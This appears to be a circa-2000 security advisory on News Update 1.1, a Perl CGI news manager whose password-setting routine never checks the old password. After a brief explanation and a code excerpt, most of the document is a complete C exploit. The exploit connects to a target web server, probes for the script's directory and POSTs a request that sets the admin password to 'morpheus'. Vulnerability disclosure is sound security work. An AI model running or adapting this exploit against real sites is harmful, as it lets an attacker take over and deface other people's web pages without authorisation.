COMMAND
News Update
SYSTEMS AFFECTED
News Update 1.1
PROBLEM
'Morpheus[bd]' found following. There is a vulnerability in News
Update 1.1 ((c) by CGIScriptCenter) which allows malicious user
to change the news administration password without knowing the
correct (former)password.
News Update was designed specifically for updating websites with
a minimal effort. Author's goal was to allow the user the ability
to quickly and efficiently update pages of data without having to
open countless pages and creating pages and pages of new text,
graphics, and HTML, only to have to delete them in a few days.
A password protection should prevent non authorised users from
adding or deleting news to the page. It is possible to circumvent
this password protection and to assign a new password - which
allows malicious users to modify your news-page.
Shortly after the initialisation of some variables the following
code is used to interprete the input of the user...
if ($INPUT{'parse'}) {&parse; }
elsif ($INPUT{'setpwd'}) {&setpwd; }
else {&display; }
If we supply the "setpwd" parameter the function "setpwd" is
called, which should change the password... Both parameters -
used in setpwd - "pwd" and "pwd2" contain the new password -
"pwd2" is used as a confirmation for the first one, "pwd". The
old - original - password is NOT needed.
(a shortened version of setpwd)
sub setpwd {
print "Content-type: text/html\n\n";
unless ($INPUT{'pwd'} && $INPUT{'pwd2'}) {
[...] FAILURE [...]
exit;
}
if ($INPUT{'pwd'} && $INPUT{'pwd2'}) {
if ($INPUT{'pwd'} ne $INPUT{'pwd2'}) {
[...] FAILURE [...]
exit;
}
}
[...]
open (PASSWORD, ">$passfile/password.txt");
print PASSWORD "$newpassword";
close (PASSWORD);
print<<EOF;
<HTML><HEAD><TITLE>News Update: Password Success!</TITLE></HEAD><BODY
[...]
exit;
}
As you can see NO checks are performed for the old password. The
user just needs to supply the new password without knowing the
original one.
Exploit code:
/***************************************************************************
news_exp.c - description
-------------------
begin : Sat Oct 21 2000
copyright : (C) 2000 by Morpheus[bd]
email : morpheusbd@gmx.net
Exploit code for the News Update 1.1 by Morpheus[bd]
For more information see my advisory which should be in this .tar.gz
package.
Compiling/Linking: gcc exploit.c -o exploit
Usage: will be printed when the exploit is started without arguments
***************************************************************************/
/***************************************************************************
[Disclaimer]
Standard disclaimer applies here. Do not use this program. This program
is only for educational purposes. Use it on your on risk.
***************************************************************************/
/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <arpa/nameser.h>
#include <sys/stat.h>
#define WEISS printf("\033[0;29m")
#define ROT printf("\033[1;31m")
#define GRUEN printf("\033[1;32m")
#define GELB printf("\033[1;33m")
#define BLAU printf("\033[1;34m")
#define LILA printf("\033[1;35m")
#define HELLROT printf("\033[1;36m")
#define MAXBUFFER 4096
/******************* AUSGABEN ************************/
/* At the moment everything will be written to the STDOUT */
#define EXPLOIT_INFO 2 /* If you only want Exploit infos ... change it to 1 and DEBUG to 1 */
#define DEBUG_INFO 2 /* If you only want Debug infos ... change DEBUG to 2 */
#define DEBUG 2
/*****************************************************/
/* Standard-Pfad des News Update scripts */
#define NEWSUPDATE_PATH "/cgi-bin/dummy/newsup"
/* Name des News Update scripts */
#define NEWS_UPDATE "newsup.pl"
/* Das gewünschte Passwort für die News Update Form */
#define PWD "morpheus"
/* HTTP-Request für die News Update Form */
#define NEWS_UPDATE_PWD "POST %s HTTP/1.0\r\n" \
"Host: %s\r\n" \
"Referrer: %s\r\n" \
"Connection: Close\r\n" \
"User-Agent: %s\r\n" \
"Accept: */*\r\n" \
"Content-type: application/x-www-urlencoded\r\n" \
"Content-length: %d\r\n" \
"\r\n" \
"pwd=%s&pwd2=%s&setpwd=++Set+Password++\r\n" \
"\r\n"
/* Ein einfacher HTTP-Request um eine Datei von einem Web-Server zu saugen */
#define SIMPLE_REQUEST "GET %s HTTP/1.0\r\n" \
"Host: %s\r\n" \
"\r\n"
#define BROWSER "Morphi-Browser (X11; U; Linux 2.4 i686)"
ssize_t writen(int fd, const void *vptr, size_t n)
/* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */
{
size_t nleft;
ssize_t nwritten;
const char *ptr;
ptr = vptr;
nleft = n;
while(nleft > 0) {
if ( (nwritten = write(fd, ptr, nleft)) <= 0) {
if (errno == EINTR)
nwritten = 0;
else
return (-1);
}
nleft -= nwritten;
ptr += nwritten;
}
return (n);
}
static ssize_t my_read(int fd, char *ptr)
/* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */
{
static int read_cnt = 0;
static char *read_ptr;
static char read_buf[4096];
if (read_cnt <= 0) {
again:
if ( (read_cnt = read(fd, read_buf, sizeof(read_buf))) < 0) {
if (errno == EINTR)
goto again;
return(-1);
} else if (read_cnt == 0)
return(0);
read_ptr = read_buf;
}
read_cnt--;
*ptr = *read_ptr++;
return(1);
}
ssize_t readline(int fd, void *vptr, size_t maxlen)
/* Taken from UNIX Network Programming - Vol. I by W.R. Stevens */
{
int n, rc;
char c, *ptr;
ptr = vptr;
for (n = 1; n < maxlen; n++) {
if ( (rc = my_read(fd, &c)) == 1) {
*ptr++ = c;
if (c == '\n')
break; /* newline is stored, like fgets() */
} else if (rc == 0) {
if (n == 1)
return(0); /* EOF, no data read */
else
break; /* EOF, some data was read */
} else
return(-1); /* error, errno set by read() */
}
*ptr = 0; /* null terminate like fgets() */
return(n);
}
/* Stellt die Verbindung zum HTTP-Port des Servers her */
int http_connection(char host[100])
{
struct sockaddr_in sa;
struct hostent *hp;
int sockfd;
int port = 80;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
bzero(&sa, sizeof(sa));
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
if ( (sa.sin_addr.s_addr = inet_addr(host)) == -1)
{
if ( (hp = (struct hostent *) gethostbyname(host)) == NULL)
{
ROT;
perror("gethostbyname:");
WEISS;
return (-1);
}
memcpy(&sa.sin_addr.s_addr,hp->h_addr,sizeof(hp->h_addr));
}
if (connect(sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0)
{
ROT;
perror("Connect:");
close(sockfd);
WEISS;
return (-1);
}
return sockfd;
}
/* Exploited das News Update script und schleußt ein neues Password ein */
int news_update_exploit(char *host, char *path)
{
int i = 0, sockfd = 0;
char cmd[MAXBUFFER];
if ((sockfd = http_connection(host)) == -1) { ROT; printf("Damn ... no connection to %s\n", host); WEISS; return; }
i = snprintf(cmd, sizeof(cmd), NEWS_UPDATE_PWD, path, host, "www.brightdarkness.de", BROWSER, 34 + strlen(PWD), PWD, PWD);
GELB;
if (DEBUG == DEBUG_INFO) { GELB; printf("Sending following request to %s[%d]:\n%s", host, 80, cmd); WEISS; }
WEISS;
if (writen(sockfd, cmd, i) == -1)
{
ROT;
printf("Man, man, man ....... Ihr verdammten Idioten .... kann man hier nicht mal in Ruhe writen() ?\n");
WEISS;
exit(-1);
}
GELB;
if (DEBUG == DEBUG_INFO) printf("Output from Server:\n");
WEISS;
while (readline(sockfd, cmd, MAXBUFFER) != 0)
{
BLAU;
if (DEBUG == DEBUG_INFO) printf("%s", cmd);
WEISS;
if (strstr(cmd, "Password Success") != NULL)
{
GRUEN;
if (DEBUG == EXPLOIT_INFO) printf("Exploit: Success!!!!\n");
if (DEBUG == EXPLOIT_INFO) printf("The new password: %s\n", PWD);
WEISS;
return (0);
}
}
ROT;
if (DEBUG == EXPLOIT_INFO) printf("Exploit: failed.\n");
WEISS;
return (-1);
}
/* How to use this fucking lame proggy *rofl* */
void usage(char *arg)
{
ROT;
printf("news_update_exploit - News Update Password Changer - v0.1\n");
printf("------------=====||| by Morpheus[bd] |||=====------------\n");
GELB;
printf("\nUsage:");
GRUEN;
printf("%s host/ip [path]\n\n", arg);
printf("path: alternative path to the newsup.pl\n");
WEISS;
exit(-1);
}
/* Existiert das Verzeichnis der Form überhaupt ? */
int check_directory(char *host, char *ptr)
{
int i = 0, sockfd = 0;
char cmd[MAXBUFFER], *ptr2;
ptr2 = ptr + strlen(ptr);
if (*(ptr2 - 1) != '/')
{
*ptr2 = '/';
*(ptr2 + 1) = '\0';
}
GELB;
if (DEBUG == DEBUG_INFO) printf("Checking if %s exists on the target server...\n", ptr);
WEISS;
if ((sockfd = http_connection(host)) == -1) { ROT; printf("Damn !!!... No connection to %s.\n", host); WEISS; return; }
i = snprintf(cmd, sizeof(cmd), SIMPLE_REQUEST, ptr, host);
GELB;
if (DEBUG == DEBUG_INFO) printf("Sending following request to %s[%d]:\n%s", host, 80, cmd);
WEISS;
if (writen(sockfd, cmd, i) == -1)
{
ROT;
printf("Man, man, man ....... Ihr verdammten Idioten .... kann man hier nicht mal in Ruhe writen() ?\n");
WEISS;
exit(-1);
}
if (readline(sockfd, cmd, MAXBUFFER) == 0)
{
ROT;
printf("Error: Reading from HTTP Server.\n");
WEISS;
exit(-1);
}
if (strstr(cmd, "404") == NULL)
{
GRUEN;
if (DEBUG == DEBUG_INFO) printf("The directory was found.\n");
WEISS;
while (readline(sockfd, cmd, MAXBUFFER) != 0);
close(sockfd);
return (0);
}
if (DEBUG == DEBUG_INFO) printf("The directory was NOT found.\n");
while (readline(sockfd, cmd, MAXBUFFER) != 0);
close(sockfd);
return (-1);
}
/* Das tolle Hauptprogramm *fg* */
int main(int argc, char **argv)
{
char buf[MAXBUFFER];
if (argc < 2)
{
usage(argv[0]);
}
if (argc >= 3)
{
/* Ein alternatives Verzeichnis wurde als Parameter übergeben */
strncpy(buf, argv[2], sizeof(buf));
if (check_directory(argv[1], buf) == -1)
{
ROT;
printf("Error: The given directory was not found.\nPlease provide a different directory.\n");
WEISS;
exit(-1);
}
strcat(buf, NEWS_UPDATE);
}
else
{
/* Kein alternatives Verz. angegeben, benutze Standard-Verzeichnis */
strncpy(buf, NEWSUPDATE_PATH, sizeof(buf));
if (check_directory(argv[1], buf) == -1)
{
ROT;
printf("Error: The given directory was not found.\nPlease provide a different directory.\n");
WEISS;
exit(-1);
}
strcat(buf, NEWS_UPDATE);
}
/* Let's rock !!!! */
news_update_exploit(argv[1], buf);
return (0);
}
SOLUTION
Vendor has been informed.